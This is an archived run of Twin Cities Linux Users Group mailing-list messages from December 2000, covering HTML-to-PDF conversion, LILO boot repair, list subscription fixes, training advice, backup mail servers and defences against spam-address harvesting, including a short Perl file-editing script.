Sun, Dec 24, 2000 at 09:41:28PM -0600 References: <20001225001621.82581.qmail@web10303.mail.yahoo.com> Message-ID: <20001224224311.A19025@athena.sistina.com> On Sun, Dec 24, 2000 at 09:41:28PM -0600, Yaron wrote: > Hi, > >Where exactly is the PDF output option in Staroffice?... WP8 I no longer >have since it totally sucked. > Netscape will do this. Open up the HTML with the broswer and hit print, choose to file and you get a .ps file. then you can use ps2pdf I think. Or get distiller. -- Ben Lutgens cell: 612.670.4789 Sistina Software Inc. work: 612.379.5941 Code Monkey Support (A.K.A. System Administrator) -------------- next part -------------- A non-text attachment was scrubbed... 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WP8 I no longer > have since it totally sucked. > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From jethro at freakzilla.com Mon Dec 25 00:58:21 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] HTML to PDF? In-Reply-To: Message-ID: Hi, On Sun, 24 Dec 2000, Timothy Houck wrote: > I don't remember there being a PDF output in StarOffice. If not, you can > always do PostScript and use the ps2pdf utility. I *know* that works. Thing is, the postscript output Netscape makes is HORRIBLE. It takes all the colours out, for one... -Yaron -- From isla0005 at tc.umn.edu Mon Dec 25 19:29:10 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] Linux Boot help References: <20001225001621.82581.qmail@web10303.mail.yahoo.com> Message-ID: <3A47F465.990F6E31@tc.umn.edu> I have recently installed RH 6.2 in my laptop and then installed windows on a seperate partitiion. Now I don't get any boot option during startup. It goes straight to windows. What should I do to remedy this situation ? Apu From blutgens at sistina.com Mon Dec 25 18:07:47 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] Linux Boot help In-Reply-To: <3A47F465.990F6E31@tc.umn.edu>; from isla0005@tc.umn.edu on Mon, Dec 25, 2000 at 05:29:10PM -0800 References: <20001225001621.82581.qmail@web10303.mail.yahoo.com> <3A47F465.990F6E31@tc.umn.edu> Message-ID: <20001225180747.B21310@athena.sistina.com> On Mon, Dec 25, 2000 at 05:29:10PM -0800, Apu wrote: > >I have recently installed RH 6.2 in my laptop and then installed windows >on a seperate partitiion. Now I don't get any boot option during >startup. It goes straight to windows. What should I do to remedy this >situation ? Doze overwrote your masterboot record. Use a linux boot floppy to get booted back into linux and rerun lilo. HTH -- Ben Lutgens cell: 612.670.4789 Sistina Software Inc. work: 612.379.5941 Code Monkey Support (A.K.A. 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Actually, there's a number of 2ps utils out there: html2ps - HTML to PostScript converter jpeg2ps - Convert JPEG compressed images to PostScript Level 2 dvi2ps - TeX DVI-driver for NTT jTeX, MulTeX and ASCII ptex. abc2ps - Translates ABC music description files to PostScript a2ps - GNU a2ps 'Anything to PostScript' converter and pretty-printer c2ps - convert an ASCII file with C/C++ code to PostScript Then just use ps2pdf from GNU Ghostscript and you're all set. From memory, html2ps + ps2pdf makes a rather decent PDF file. HTML links become bookmarks in Acrobat reader and other special things like that. -------------- next part -------------- A non-text attachment was scrubbed... Name: andyzib.vcf Type: text/x-vcard Size: 421 bytes Desc: Card for Andy Zbikowski (Zibby) Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001226/df7490dd/andyzib.vcf From lueyb at gridley.ACNS.Carleton.edu Tue Dec 26 00:32:06 2000 From: lueyb at gridley.ACNS.Carleton.edu (Ben Luey) Date: Mon Jan 17 13:14:10 2005 Subject: [TCLUG] Not receiving messages Message-ID: I seem not to be receiving any messages. The mail server went down for a few days and I think my e-mail address got added to a bounce back list or something, since afterward I stopped getting e-mails from the list. I unsubscribed and resubscribed, and I get the confirm e-mails, but not the list e-mails. Thanks, (and please reply to lueyb@gridley.acns.carleton.edu) Ben From mpaulsen at charter.net Tue Dec 26 01:54:01 2000 From: mpaulsen at charter.net (Mike Paulsen) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] Not receiving messages In-Reply-To: Message-ID: <5.0.0.25.2.20001226013256.01bde810@mail.charter.net> At 12:32 AM 12/26/00 -0600, you wrote: >I seem not to be receiving any messages. The mail server went down for a >few days and I think my e-mail address got added to a bounce back list or >something, since afterward I stopped getting e-mails from the list. I >unsubscribed and resubscribed, and I get the confirm e-mails, but not the >list e-mails. > >Thanks, > >(and please reply to lueyb@gridley.acns.carleton.edu) > >Ben Let me guess -- you subscribed using the form on http://www.mn-linux.org/. I tried the same thing and scratched my head for a few days. I was getting a little bit of list traffic, but certainly not all of it. Using the mn-linux website subscribes one to tclug-list@mn-linux.org. It appears that mail sent to that list gets forwarded to the "real" list -- tclug-list@lists.real-time.com. It's one-way, though, so I was only seeing traffic from the few people still use the mn-linux address when posting. When I checked the archives I could see my posts along with all the others, hence the confusion. What you need to do is subscribe to the list again, this time sending to tclug-list-request@lists.real-time.com with the subject: subscribe. I don't know if this is meant to be a right of passage or if it's just a case of the webmaster not having had time to fix it. btw... I'm in Northfield, new to Linux, and you owe me one. You'll be hearing from me. From jethro at freakzilla.com Tue Dec 26 04:45:09 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] HTML to PDF? In-Reply-To: <3A48383D.35A8290@ringworld.org> Message-ID: Hi, On Tue, 26 Dec 2000, Andy Zbikowski (Zibby) wrote: > There is a package out there called html2ps. Actually, there's a number of > 2ps utils out there: That still kills the colours but I haven't looked at config files yet. Still usable even though I'm taking two steps rather than one! (: Thanks, -Yaron -- From JMiller2 at dainrauscher.com Tue Dec 26 07:54:13 2000 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] Schools and Programming - Java class review. Message-ID: I got my AAS from St. Paul Tech. The teacher to avoid would be Warren Shaffer. Wonderful guy but he can be unpredictable and deviates from the syllabus all the time. I had him for many of my programming classes. Every class, except for the last one I had, started 15 to 20 minutes late. The last one started on time because he scheduled it to start 20 minutes after the "official" start time. I did have him for C++ and he shined in that class. St. Paul Tech offers a UNIX class, I took it. It just covered the basics. John Miller Dain Rauscher Inc. Application Services IS Capital Markets Phone 612-547-7573 Fax 612-547-7580 -----Original Message----- From: Liz Burke-Scovill [mailto:kethry@winternet.com] Sent: Saturday, December 23, 2000 6:16 PM To: tclug-list@lists.real-time.com Subject: [TCLUG] Schools and Programming - Java class review. St. Paul Tech - it's part of my C++/Java Programmer's certificate. I just finished Java Programming 1 - I wanted to wait until I have more practical experience before taking Java Programming 2 - besides I havne't started on the C/C++ track yet and that's core to the certificate. Anyway... I don't know much else about the other teachers there but I really liked the Java class that Ken Krutsch taught. For one, instead of the Java in 21 Days-like books that the other instructors chose, Ken chose the Java Programming book published by Sun. Supposedly he was supposed to teach towards certification, but as he said on day 1, he wouldn't get to teach us as much as he did, and besides, we wouldn't remember it after the exam anyway. So...the first half of the semester was spent learning the basic language elements, installing compiling, running Java programs that speak with the command prompt as opposed through a GUI, etc...the second half of the course went through discussing probably the more important API's - java.awt.*, javax.swing.*, multithreading, streams, servlets, etc... He's been programming for about 15 years professionally, and picked up Java when the white paper was released. Since Java came out, he's been professionally programming it, usually as a consultant, and usually as the person they called to clean up code. What this meant was a) there were times where he was difficult to understand but he really gave us a good core understanding of the language - where it came from, how it can be implemented, and how to write things different ways - always emphasizing error handling and non-spaghetti code. Let's see - on the linux side - well, he's a unix guy from way back, so would give us all of the cool tips and tools - which wouldn't run on Windows - because he uses linux primarily at home - for those that had to use windows, he provided us with links to unix shell programs that allowed you to use your command prompt as if you were in unix - and could use vi, emacs, etc...was pretty cool - unfortunately he didn't give instructions on how to install them, and much of the software provided I didn't have time to fiddle and play with until I could get it to work - not with two kids and full time job in addition to WAY TOO MANY outside interests like Renn Fest, etc., but I digress.... I spent the first half of the semester wondering if I would even pass the class as this was my first programming class in 10 years...and I didn't do well on the test, but what I found was no matter what I did on the tests, I came away with a really thorough understanding of the language (I did Ace the final, btw) - and was able to use it in my job to analyze a rather large web based application... Soooooooooo.....the long and the short of it is - if you can ever take a class by Ken Krutsch - definitely do so... Liz On Sat, 23 Dec 2000, grey Moon-Wolf wrote: > > --- Liz Burke-Scovill wrote: > > > > I'm starting my C++ class next month if that counts > > ;)... > > > > Liz > Liz, > Where are you taking C++? Just curious... - Manuel > > __________________________________________________ > Do You Yahoo!? > Yahoo! Shopping - Thousands of Stores. Millions of Products. > http://shopping.yahoo.com/ > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From ecrist at ardent-hacker.net Tue Dec 26 09:13:01 2000 From: ecrist at ardent-hacker.net (Eric F Crist) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] Class/Training Recommendations Message-ID: <00122609130100.15497@armageddon.ardent-hacker.net> Hey there. I've been one of the people complaining about not being able to find a job in the computer industry (I'll even take help desk at this point, as I'm out of work now). I would appreciate it if any of the 'higher-ups' could recommend schools or classes that they deem credible and noteworthy. What are some recommendations of skills that you guys/gals look for and want on a consistent basis. Thanks! Eric F Crist From ben at nerp.net Tue Dec 26 10:03:20 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] Class/Training Recommendations In-Reply-To: <00122609130100.15497@armageddon.ardent-hacker.net> Message-ID: University of Minnesota, Computer Science department.. the only thing credible that I know of ;) Thank You, Ben Kochie (ben@nerp.net) "Unix is user friendly, Its just picky about its friends." On Tue, 26 Dec 2000, Eric F Crist wrote: > Hey there. > > I've been one of the people complaining about not being able to find a job in > the computer industry (I'll even take help desk at this point, as I'm out of > work now). I would appreciate it if any of the 'higher-ups' could recommend > schools or classes that they deem credible and noteworthy. What are some > recommendations of skills that you guys/gals look for and want on a > consistent basis. > > Thanks! > > Eric F Crist > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From kethry at winternet.com Tue Dec 26 11:45:04 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] Schools and Programming - Java class review. In-Reply-To: Message-ID: *chuckle* yeah - I'm getting that impression - he's my advisor - but if there's one thing I learned at St. Paul tech, is not to count on their advising...which is fine - I've gone through three universities by now. I've learned how to work the system... Anyway - Thanks!!! Liz On Tue, 26 Dec 2000, Miller, John wrote: > I got my AAS from St. Paul Tech. The teacher to avoid would be Warren > Shaffer. Wonderful guy but he can be unpredictable and deviates from the > syllabus all the time. I had him for many of my programming classes. Every > class, except for the last one I had, started 15 to 20 minutes late. The > last one started on time because he scheduled it to start 20 minutes after > the "official" start time. I did have him for C++ and he shined in that > class. St. Paul Tech offers a UNIX class, I took it. It just covered the > basics. > > John Miller > Dain Rauscher Inc. > Application Services > IS Capital Markets > Phone 612-547-7573 > Fax 612-547-7580 > > > -----Original Message----- > From: Liz Burke-Scovill [mailto:kethry@winternet.com] > Sent: Saturday, December 23, 2000 6:16 PM > To: tclug-list@lists.real-time.com > Subject: [TCLUG] Schools and Programming - Java class review. > > > > St. Paul Tech - it's part of my C++/Java Programmer's certificate. I just > finished Java Programming 1 - I wanted to wait until I have more practical > experience before taking Java Programming 2 - besides I havne't started on > the C/C++ track yet and that's core to the certificate. Anyway... > > I don't know much else about the other teachers there but I really liked > the Java class that Ken Krutsch taught. For one, instead of the Java in 21 > Days-like books that the other instructors chose, Ken chose the Java > Programming book published by Sun. Supposedly he was supposed to teach > towards certification, but as he said on day 1, he wouldn't get to teach > us as much as he did, and besides, we wouldn't remember it after the exam > anyway. So...the first half of the semester was spent learning the basic > language elements, installing compiling, running Java programs that speak > with the command prompt as opposed through a GUI, etc...the second half of > the course went through discussing probably the more important API's - > java.awt.*, javax.swing.*, multithreading, streams, servlets, etc... He's > been programming for about 15 years professionally, and picked up Java > when the white paper was released. Since Java came out, he's been > professionally programming it, usually as a consultant, and usually as the > person they called to clean up code. What this meant was a) there were > times where he was difficult to understand but he really gave us a good > core understanding of the language - where it came from, how it can be > implemented, and how to write things different ways - always emphasizing > error handling and non-spaghetti code. > > Let's see - on the linux side - well, he's a unix guy from way back, so > would give us all of the cool tips and tools - which wouldn't run on > Windows - because he uses linux primarily at home - for those that had to > use windows, he provided us with links to unix shell programs that allowed > you to use your command prompt as if you were in unix - and could use vi, > emacs, etc...was pretty cool - unfortunately he didn't give instructions > on how to install them, and much of the software provided I didn't have > time to fiddle and play with until I could get it to work - not with two > kids and full time job in addition to WAY TOO MANY outside interests like > Renn Fest, etc., but I digress.... > > I spent the first half of the semester wondering if I would even pass the > class as this was my first programming class in 10 years...and I didn't do > well on the test, but what I found was no matter what I did on the tests, > I came away with a really thorough understanding of the language (I did > Ace the final, btw) - and was able to use it in my job to analyze a rather > large web based application... > > Soooooooooo.....the long and the short of it is - if you can ever take a > class by Ken Krutsch - definitely do so... > > Liz > > > On Sat, 23 Dec 2000, grey Moon-Wolf wrote: > > > > > --- Liz Burke-Scovill wrote: > > > > > > I'm starting my C++ class next month if that counts > > > ;)... > > > > > > Liz > > Liz, > > Where are you taking C++? Just curious... - Manuel > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! Shopping - Thousands of Stores. Millions of Products. > > http://shopping.yahoo.com/ > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From nobody170 at yahoo.com Tue Dec 26 13:39:21 2000 From: nobody170 at yahoo.com (Bill Gladen) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] Re: HTML to PDF? Message-ID: <20001226193921.20406.qmail@web703.mail.yahoo.com> We use a free utility at work, and it does a good job with tables, and keeps the colors (but not the background image). The guy who found it is off today, but if you send me an e-mail I'll remember to ask him where he got it tomorrow. Bill (the other one) __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From tanner at real-time.com Tue Dec 26 23:38:49 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] ORBS is overkill, so how about this? Message-ID: <20001226233849.A27245@real-time.com> ORBS is overkill, so how about making our addresses a little more difficult to harvest by the spambots? I have turned on identd's DES encryption, so that pident cannot be used to harvest usernames. I have turned off sendmail's HELP command and EXPN and VRFY commands. Now, the hard part. Does anyone have time to perl program to search for all the mailto: links and change them to something like this? before: mailto:clueless@newbie.com After: mailto:clueless@newbie.com That should make it harder for spambots to hit the archives and harvest email addreses. I have turned on mod_rewrite for the known spambots out there, to direct them to the bit-bucket. I am VERY tempted to feed them bogus addresses Please let me know if you have time to write a perl program to change the mailto: links. Thanks. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jpschewe at eggplant.mtu.net Tue Dec 26 23:57:46 2000 From: jpschewe at eggplant.mtu.net (Jon Schewe) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] where to learn about setting up backup mail server? Message-ID: Currently I use eggplant.mtu.net as my mail server. However sometimes my machine is down and I'd like to keep mail from bouncing. So I'd like to setup things such that if my machine is down then mail goes to another host, probably mtu.net, and gets queued up there until eggplant.mtu.net comes back up then delivers the mail. Both machines are running some flavor of Unix, right now one is OpenBSD and one is Linux. Pointers to documentation to read is very helpful. I've got a few days of vacataion to use for this :) -- Jon Schewe | http://eggplant.mtu.net/~jpschewe | jpschewe@mtu.net For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From ben at nerp.net Wed Dec 27 00:04:39 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] ORBS is overkill, so how about this? In-Reply-To: <20001226233849.A27245@real-time.com> Message-ID: my roomie found something called "ORBS lite" it includes only things that have proven positive.. not ORBS's "we hate you" list.. i havn't looked it up.. but I was going to play with it tomorow. Thank You, Ben Kochie (ben@nerp.net) "Unix is user friendly, Its just picky about its friends." On Tue, 26 Dec 2000, Bob Tanner wrote: > ORBS is overkill, so how about making our addresses a little more difficult to > harvest by the spambots? > > I have turned on identd's DES encryption, so that pident cannot be used to > harvest usernames. > > I have turned off sendmail's HELP command and EXPN and VRFY commands. > > Now, the hard part. Does anyone have time to perl program to search for all the > mailto: links and change them to something like this? > > before: > > mailto:clueless@newbie.com > > After: > > mailto:clueless@newbie.com > > That should make it harder for spambots to hit the archives and harvest email > addreses. > > I have turned on mod_rewrite for the known spambots > out there, to direct them to > the bit-bucket. I am VERY tempted to feed them bogus addresses > > > Please let me know if you have time to write a perl program to change the > mailto: links. Thanks. > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From esper at sherohman.org Wed Dec 27 00:28:47 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] ORBS is overkill, so how about this? In-Reply-To: <20001226233849.A27245@real-time.com>; from tanner@real-time.com on Tue, Dec 26, 2000 at 11:38:49PM -0600 References: <20001226233849.A27245@real-time.com> Message-ID: <20001227002847.A574@sherohman.org> On Tue, Dec 26, 2000 at 11:38:49PM -0600, Bob Tanner wrote: > Now, the hard part. Does anyone have time to perl program to search for all the > mailto: links and change them to something like this? > > before: > > mailto:clueless@newbie.com > > After: > > mailto:clueless@newbie.com Already done... I created a little script (named doall.pl on my system) a while ago for something or other similar. If you can supply a sed expression (call it $EXPR) which transforms the mailto:s, the syntax would simply be doall.pl "sed -e $EXPR" * to make the changes to all files in the current directory. (For multiple directories, `find . -exec doall.pl "sed -e $EXPR" {} \;` from the top of the subtree you want to fix should do it.) As for the value of $EXPR, here's a first approximation: "s/mailto:\([^@]*\)@\([^ ]*\)/\mailto\:\1\@\2/ig" It transforms the input addresses mailto:clueless@newbie.com mailto:Dave Sherohman mailto:tclug-list@lists.real-time.com to the output mailto:clueless@newbie.com mailto:Dave Sherohman mailto:tclug-list@lists.real-time.com It's not exactly what you asked for, but obfuscating the dots in addresses (but not elsewhere) and the first letter of the TLD would require a special-purpose script or a much more complex sed command. Don't forget that you can also turn on some address obfuscation in Mailman, but all it does is convert "esper@sherohman.org" to "esper at sherohman.org", which isn't necessarily that effective. Script follows. --- Begin doall.pl --- #!/usr/bin/perl -w use strict; my $cmd = shift; while (my $filename = shift) { # Perform operation to new file. Exit on error. if (`$cmd $filename 2>&1 >$filename.new`) { die }; # If the output is different than the input, replace the old version with # the new one. If nothing was changed, discared the new version and leave # the old one untouched. if (`diff $filename.new $filename`) { rename "$filename.new", $filename; } else { unlink "$filename.new"; } } --- End doall.pl --- -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From esper at sherohman.org Wed Dec 27 00:33:13 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] where to learn about setting up backup mail server? In-Reply-To: ; from jpschewe@eggplant.mtu.net on Tue, Dec 26, 2000 at 11:57:46PM -0600 References: Message-ID: <20001227003313.B574@sherohman.org> On Tue, Dec 26, 2000 at 11:57:46PM -0600, Jon Schewe wrote: > Currently I use eggplant.mtu.net as my mail server. However sometimes my > machine is down and I'd like to keep mail from bouncing. So I'd like to setup > things such that if my machine is down then mail goes to another host, > probably mtu.net, and gets queued up there until eggplant.mtu.net comes back > up then delivers the mail. Both machines are running some flavor of Unix, > right now one is OpenBSD and one is Linux. > > Pointers to documentation to read is very helpful. I've got a few days of > vacataion to use for this :) Check out the DNS HOWTO. Specifically, you want to add an MX record to your zone file (or convince whoever maintains your DNS records to do it for you). The other host's MTA will also need to be configured to perform relaying for eggplant. (Many mail servers are set to relay for anyone that lists them in an MX record, but I wouldn't assume any server to use that setting without checking first.) -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From tanner at real-time.com Wed Dec 27 00:24:46 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] where to learn about setting up backup mail server? In-Reply-To: ; from jpschewe@eggplant.mtu.net on Tue, Dec 26, 2000 at 11:57:46PM -0600 References: Message-ID: <20001227002446.B27245@real-time.com> Quoting Jon Schewe (jpschewe@eggplant.mtu.net): > Currently I use eggplant.mtu.net as my mail server. However sometimes my > machine is down and I'd like to keep mail from bouncing. So I'd like to setup > things such that if my machine is down then mail goes to another host, > probably mtu.net, and gets queued up there until eggplant.mtu.net comes back > up then delivers the mail. Both machines are running some flavor of Unix, > right now one is OpenBSD and one is Linux. > > Pointers to documentation to read is very helpful. I've got a few days of > vacataion to use for this :) > The bat book. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Wed Dec 27 02:55:47 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] ORBS is overkill, so how about this? In-Reply-To: <20001227002847.A574@sherohman.org>; from esper@sherohman.org on Wed, Dec 27, 2000 at 12:28:47AM -0600 References: <20001226233849.A27245@real-time.com> <20001227002847.A574@sherohman.org> Message-ID: <20001227025547.C31783@real-time.com> Quoting Dave Sherohman (esper@sherohman.org): > Don't forget that you can also turn on some address obfuscation in Mailman, > but all it does is convert "esper@sherohman.org" to "esper at sherohman.org", > which isn't necessarily that effective. Yep, got that turned on already. I'll run this tommorrow when I am not so tired. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From lerwick at tcfreenet.org Wed Dec 27 04:17:45 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] ORBS is overkill, so how about this? References: <20001226233849.A27245@real-time.com> Message-ID: <3A49C1C9.B39FE0FC@tcfreenet.org> Bob Tanner wrote: > > ORBS is overkill, so how about making our addresses a little more difficult to > harvest by the spambots? > > I have turned on identd's DES encryption, so that pident cannot be used to > harvest usernames. Blargh. Why not just use bsidentd? http://freshmeat.net/projects/bsidentd/ Ident sucks. I only have this for getting on IRC servers. :P If you find a security hole I'll give you a dollar! From nobody170 at yahoo.com Wed Dec 27 10:37:11 2000 From: nobody170 at yahoo.com (Bill Gladen) Date: Mon Jan 17 13:14:11 2005 Subject: [TCLUG] Re: HTML to PDF? Message-ID: <20001227163711.3211.qmail@web705.mail.yahoo.com> Thanks to those who e-mailed to remind me. The site is www.easysw.com The product is HTMLDOC The license is GPL (woo hoo!) Support is available for $99 per year. Latest version is 1.8.9, released on Dec 8. So it is under active development. Bill (the other one) __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From thudak at sistina.com Wed Dec 27 10:53:06 2000 From: thudak at sistina.com (Tom Hudak) Date: Mon Jan 17 13:14:12 2005 Subject: [TCLUG] Re: [TCLUG:23910] Qworst Select DSL and Linux ? In-Reply-To: <20001220122508.A17254@real-time.com>; from tanner@real-time.com on Wed, Dec 20, 2000 at 12:25:08PM -0600 References: <20001220122508.A17254@real-time.com> Message-ID: <20001227105306.A28059@cesium.sistina.com> On Wed, Dec 20, 2000 at 12:25:08PM -0600, Bob Tanner wrote: >Just had a client swing over to Real Time's ATM link for DSL Select service, BUT >they are a linux user. > >Will this even work? > >Does the Intel Pro 2100 (Qworst dsl selecte hardware) even work under Linux? Nope. They barely work in windows for cryin' out loud. Go with the ext. cisco 675 or the speedstream (covad's choice). I don't know if support is planned but I doubt it. I don't even know if the 2100 is used by anyone but qworst.. > >Looking at the 2.2.x kernel I cannot find a driver for it. > >Anyone? > >-- >Bob Tanner | Phone : (952)943-8700 >http://www.mn-linux.org | Fax : (952)943-8500 >Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > >--------------------------------------------------------------------- >To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org >For additional commands, e-mail: tclug-list-help@mn-linux.org -- Thomas J. Hudak Systems Administrator Sistina Software Inc. Phone: 612.379.3951 Page: 612.318.1967 Fax: 612.379.3952 -------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: <20001226233849.A27245@real-time.com>; from tanner@real-time.com on Tue, Dec 26, 2000 at 11:38:49PM -0600 References: <20001226233849.A27245@real-time.com> Message-ID: <20001227111518.B799@athena.sistina.com> On Tue, Dec 26, 2000 at 11:38:49PM -0600, Bob Tanner wrote: >mailto: links and change them to something like this? > >before: > >mailto:clueless@newbie.com > >After: > >mailto:clueless@newbie.com > mailman will hack the email addresses for you. -- Ben Lutgens cell: 612.670.4789 Sistina Software Inc. work: 612.379.5941 Code Monkey Support (A.K.A. System Administrator) -------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: ; from jethro@freakzilla.com on Wed, Dec 27, 2000 at 11:32:21AM -0600 References: <20001227163711.3211.qmail@web705.mail.yahoo.com> Message-ID: <20001227133726.A2216@athena.sistina.com> On Wed, Dec 27, 2000 at 11:32:21AM -0600, Yaron wrote: > Hi, > I'm a little late on this thread, but http://www.daemonnews.org has an article on just this. -- Ben Lutgens cell: 612.670.4789 Sistina Software Inc. work: 612.379.5941 Code Monkey Support (A.K.A. System Administrator) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001227/3c0a058e/attachment.pgp From tanner at real-time.com Wed Dec 27 13:38:13 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:12 2005 Subject: [TCLUG] ORBS is overkill, so how about this? In-Reply-To: <3A49C1C9.B39FE0FC@tcfreenet.org>; from lerwick@tcfreenet.org on Wed, Dec 27, 2000 at 04:17:45AM -0600 References: <20001226233849.A27245@real-time.com> <3A49C1C9.B39FE0FC@tcfreenet.org> Message-ID: <20001227133813.D31783@real-time.com> Quoting Callum Lerwick (lerwick@tcfreenet.org): > Blargh. Why not just use bsidentd? > http://freshmeat.net/projects/bsidentd/ > > Ident sucks. I only have this for getting on IRC servers. :P Because I need to be able to get the username when there is a problem. bsidentd does just random stuff right? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Wed Dec 27 13:53:40 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:12 2005 Subject: [TCLUG] ORBS is overkill, so how about this? In-Reply-To: <20001227111518.B799@athena.sistina.com>; from blutgens@sistina.com on Wed, Dec 27, 2000 at 11:15:18AM -0600 References: <20001226233849.A27245@real-time.com> <20001227111518.B799@athena.sistina.com> Message-ID: <20001227135340.O31783@real-time.com> Quoting Ben Lutgens (blutgens@sistina.com): > On Tue, Dec 26, 2000 at 11:38:49PM -0600, Bob Tanner wrote: > >mailto: links and change them to something like this? > > > >before: > > > >mailto:clueless@newbie.com > > > >After: > > > >mailto:clueless@newbie.com > > > mailman will hack the email addresses for you. If I put tanner@real-time.com in the body of my message mailman does not hack it. Look at your message: http://mailman.real-time.com/pipermail/tclug-list/2000-December/006006.html :-) -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From natecars at real-time.com Wed Dec 27 14:57:23 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:14:12 2005 Subject: [TCLUG] ORBS is overkill, so how about this? In-Reply-To: Message-ID: On Wed, 27 Dec 2000, Ben Kochie wrote: > my roomie found something called "ORBS lite" it includes only things that > have proven positive.. not ORBS's "we hate you" list.. i havn't looked it > up.. but I was going to play with it tomorow. Mail servers which test positive for relaying, are manually entered into the ORBS database, block access when ORBS probes them, or are within the address blocks of known spammers. All servers which participate in a multihop relay are listed as open relays. The full ORBS database is queried via the domain suffix relays.orbs.org. Queries that use the suffix inputs.orbs.org instead will return a positive result only if a server has tested positive as an open relay, but not if it was blacklisted for other reasons. Some administrators see this so-called "ORBS Lite" as a good compromise between the cautious policy of the MAPS RSS and the very aggressive policy of the full ORBS database. So, you just use inputs.orbs.org instead of relays.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From subb3 at attglobal.net 